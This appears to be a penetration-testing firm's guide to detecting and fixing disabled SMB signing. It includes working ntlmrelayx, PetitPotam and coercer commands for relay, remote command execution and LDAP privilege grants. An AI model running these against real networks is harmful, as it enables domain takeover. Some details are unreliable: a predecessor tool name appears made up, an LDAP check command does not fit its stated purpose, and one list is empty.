
SMB signing disabled is one of those findings that shows up in almost every internal network penetration test report, yet it consistently gets deprioritized because it does not look as dramatic as a Domain Admin compromise on its own. In practice, it is frequently the exact mechanism that makes a Domain Admin compromise possible in the first place, since it is the foundation that SMB relay attacks depend on. The internal network assessments run by www.sagefoxusa.com flag this misconfiguration on nearly every engagement, regardless of industry or environment size.
This guide covers exactly what SMB signing does, how to detect which hosts on your network have it disabled, how attackers weaponize that gap through relay attacks, and the concrete remediation steps needed to close it across a Windows environment.
SMB (Server Message Block) is the protocol Windows systems use for file sharing, printer access, and a range of other network services. SMB signing adds a cryptographic signature to each SMB packet, allowing the receiving system to verify that the packet genuinely came from the claimed sender and was not modified or replayed in transit.
When SMB signing is disabled or only set to "if server agrees" rather than required, an attacker positioned on the network can intercept an authentication attempt from one machine and relay it to another machine that will accept it, effectively authenticating as the original user without ever knowing their password. This is the foundation of SMB relay attacks, and it remains one of the most reliable paths from a foothold on a network to full domain compromise.
SMB signing being disabled by default on workstations, while often required on domain controllers, is a legacy Windows configuration that many organizations never fully corrected. Group Policy needs to be explicitly configured to require signing on all machines, not just domain controllers, and this step gets missed frequently during initial AD deployment and never revisited afterward.
Performance concerns from older hardware also contributed historically, since SMB signing adds a small computational overhead to every file operation, though this is effectively negligible on any modern hardware and should not be treated as a valid reason to leave it disabled today.
NetExec, the actively maintained successor to CrowdMove and the older crackmapexec project, is the standard tool for quickly checking SMB signing status across an entire subnet.
bash
netexec smb 10.10.10.0/24The output flags each host's signing status directly in the scan results, allowing you to quickly identify which machines across a large subnet are vulnerable without needing to check each one individually.
bash
netexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txtThis command specifically generates a clean list of hosts with signing disabled, formatted and ready to feed directly into a relay attack tool for demonstration purposes during an assessment.
bash
nmap --script smb2-security-mode -p 445 10.10.10.15The Nmap script output explicitly states whether message signing is enabled, disabled, or required, giving a quick single-host confirmation when you want to verify a finding independently of your primary scanning tool.
For validating findings directly on a machine you have access to, PowerShell can confirm the local SMB configuration.
powershell
Get-SmbServerConfiguration | Select RequireSecuritySignature, EnableSecuritySignatureA RequireSecuritySignature value of False confirms the host will accept unsigned SMB connections, making it a valid relay target.
Detection alone often does not convey the real risk to stakeholders. Demonstrating an actual relay attack, safely and within agreed engagement scope, shows exactly what an attacker gains from this misconfiguration. This is a step the team at www.sagefoxusa.com walks through carefully with clients beforehand, since coercion-based demonstrations touch live infrastructure and need clear sign off.
Impacket's ntlmrelayx.py remains the core tool for executing SMB relay attacks against identified targets.
bash
ntlmrelayx.py -tf relay_targets.txt -smb2supportThis starts a listener that will relay any captured NTLM authentication attempt to the hosts listed in your target file, provided those hosts have signing disabled.
A relay attack needs a source of incoming authentication to capture. Various coercion techniques force a machine, ideally one with elevated privileges, to authenticate toward your listener.
bash
python3 PetitPotam.py -u lowpriv -p 'Password123!' -d target.local <attacker-ip> <target-host-ip>Alternative coercion methods using printerbug.py or coercer achieve the same outcome through different underlying RPC calls, and having several options available matters since some environments patch specific coercion vectors while leaving others open.
bash
python3 coercer coerce -u lowpriv -p 'Password123!' -d target.local -t <target-host-ip> -l <attacker-ip>Once authentication is coerced and relayed successfully, ntlmrelayx typically dumps the SAM database, local admin hashes, or executes a specified command on the target, depending on how it was configured to act on a successful relay.
bash
ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami"Successfully executing an arbitrary command on a target machine using nothing but a relayed authentication attempt from an unrelated host demonstrates the real-world severity of signing being disabled far more clearly than a scan result alone ever could. This kind of live demonstration is standard practice in the internal network assessments run by www.sagefoxusa.com, since stakeholders consistently prioritize findings differently once they see the actual attack path in action.
SMB relay attacks are not limited to file share access. Relaying a captured authentication to LDAP instead of SMB can allow an attacker to modify Active Directory objects directly, depending on the privileges of the relayed account.
bash
ntlmrelayx.py -t ldap://dc01.target.local -smb2supportIf the relayed account holds sufficient privileges, this can be used to add a computer object or grant the attacker's controlled account dangerous permissions like DCSync rights, chaining directly into the kind of Active Directory attack paths covered in earlier assessments involving BloodHound and AD CS.
The most common root cause is a Group Policy Object requiring SMB signing that exists in the domain but is not linked to every relevant Organizational Unit, leaving specific machine groups, often workstations added after the policy was originally created, outside its scope.
powershell
Get-GPOReport -All -ReportType Html -Path C:\reports\gpo_report.htmlReviewing the generated report against your OU structure quickly reveals whether the signing requirement policy is actually linked everywhere it needs to be.
Devices outside standard domain management, older network attached storage appliances, print servers, or legacy application servers, frequently fall outside Group Policy's reach entirely and require manual configuration or replacement.
In rare cases, a local administrator may have manually disabled signing on a specific machine to resolve a compatibility issue with older software, without realizing the security implications of that change.
Open the Group Policy Management Console and navigate to the appropriate policy object, then configure the following settings under Computer Configuration, Policies, Windows Settings, Security Settings, Local Policies, Security Options.
Set "Microsoft network client: Digitally sign communications (always)" to Enabled.
Set "Microsoft network server: Digitally sign communications (always)" to Enabled.
For validating the fix on a specific host before a full policy rollout, you can set the registry values directly.
powershell
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1After confirming the policy is correctly configured and linked to all relevant OUs, force an update across managed machines rather than waiting for the standard refresh interval.
powershell
Invoke-GPUpdate -Computer (Get-ADComputer -Filter *).Name -ForceAfter policy changes propagate, re-run your original detection scan to confirm remediation across the environment.
bash
netexec smb 10.10.10.0/24Every previously flagged host should now report signing as required. Attempting the earlier relay attack again against the same target list should fail outright, since the listener will no longer be able to complete authentication against hosts now enforcing signing.
Some legacy devices, particularly older network attached storage units or embedded systems, may experience compatibility issues or performance degradation when signing is enforced. For these cases:
SMB signing addresses the relay vector specifically, but a comprehensive defense against NTLM relay attacks generally benefits from additional layered controls.
powershell
Set-SmbServerConfiguration -EncryptData $trueSince NTLM authentication is the mechanism being relayed in the first place, restricting NTLM usage domain-wide in favor of Kerberos, where application compatibility allows it, removes the underlying authentication method attackers depend on for this entire attack class.
Since relay attacks frequently pivot from SMB to LDAP, ensuring LDAP signing and channel binding are enforced closes off that secondary relay target even if an SMB host is somehow missed during remediation.
powershell
Get-ADObject -Filter 'objectClass -eq "domainDNS"' -Properties msDS-Behavior-VersionManually correcting individual hosts identified during an assessment without fixing the underlying Group Policy gap means any newly joined machine will inherit the same vulnerable default configuration.
Domain controllers typically enforce signing by default, which sometimes leads teams to assume the environment is adequately protected without checking workstations and member servers, which is exactly where most relay attacks actually originate from during real engagements.
Confirming the fix through an actual retest, ideally including a repeat relay attempt against the previously vulnerable targets, is the only way to be certain the remediation was applied correctly and did not miss any hosts due to policy inheritance issues.
Organizations looking to build this kind of periodic checking into an ongoing program, rather than waiting for the next annual test, can find more detail on continuous assessment options at www.sagefoxusa.com.
SMB signing disabled is a deceptively simple finding with outsized real-world impact, since it directly enables NTLM relay attacks that can escalate from a single low-privilege foothold to full domain compromise. Detecting it across a network takes minutes with tools like NetExec, but fixing it properly requires addressing the root cause in Group Policy rather than patching individual hosts, along with a clear plan for legacy devices that cannot support the requirement.
If your organization has not verified SMB signing enforcement across its full environment recently, the internal network penetration testing team at www.sagefoxusa.com identifies these gaps and demonstrates their real impact through controlled relay attack scenarios, giving your team the evidence and remediation guidance needed to close this attack path for good.